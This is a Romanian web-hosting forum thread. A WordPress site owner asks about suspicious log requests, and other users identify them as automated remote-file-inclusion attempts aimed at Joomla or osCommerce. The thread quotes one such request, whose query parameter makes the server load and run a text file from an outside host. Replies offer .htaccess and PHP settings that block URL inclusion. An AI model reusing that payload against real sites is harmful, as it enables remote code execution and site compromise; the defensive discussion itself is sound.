@cristi: Codurile alea sunt legate de Joomla zic eu deci nu ai de ce sa iti faci griji.
Versiune printabilă
@cristi: Codurile alea sunt legate de Joomla zic eu deci nu ai de ce sa iti faci griji.
pot sa blochez din .htacces sa se acceseze orice link care se termina cu .txt ? sau care contine .txt . Sau ce alte solutii ar fi pt asa ceva ? Ma gandesc ca or fi si pentru wordpress
A crezut ca ai joomla si a incercat sa exploateze o vulnerabilitate a componentei de contact. Tu cum ai wp evident ca nu a reusit.Citat:
Postat în original de cristi
Probabil ca le ia la rand, si e un fel de "bulk hack" :)) Totusi, revin cu intrebarea, pot sa blochez din .htacces sa fie blocat orice url care contine un fisier .txt ?
La fel cum blochezi si imaginile pentru hotlinking probabil.
Dar in cazul tau nu are rost pentru ca acel fisier txt nu se afla la tine pe server.
http://www.vwo-campus.net/echo.txtCod PHP:?autoLoadConfig9990autoType=include&autoLoadConfig9990loadFile=http://www.vwo-campus.net/echo.txt???
Din ce imi dau seama, codul asta preia ceva informatii... Stie cineva despre ce este vorba? Deja am creat o telenovela cu threadul asta, dar n-as vrea sa mai patesc o data ce am patit, si caut si eu solutii...
Nu exista autoLoadConfig in WP. Din cate imi amintesc era la un oscommerce asa ceva.
Interesant scriptul btw :) Ai acces la shell_exec / server dedicat?
Incearca sa pui codul de mai jos in fisierul .htaccess :
sau in index.php :Cod:<IfModule mod_rewrite.c>
RewriteEngine on
RewriteCond %{QUERY_STRING} (.*)(http|https|ftp):\/\/(.*)
RewriteRule ^(.+)$ - [env=rfi:true]
</IfModule>
Cod:ini_set('allow_url_include', 0);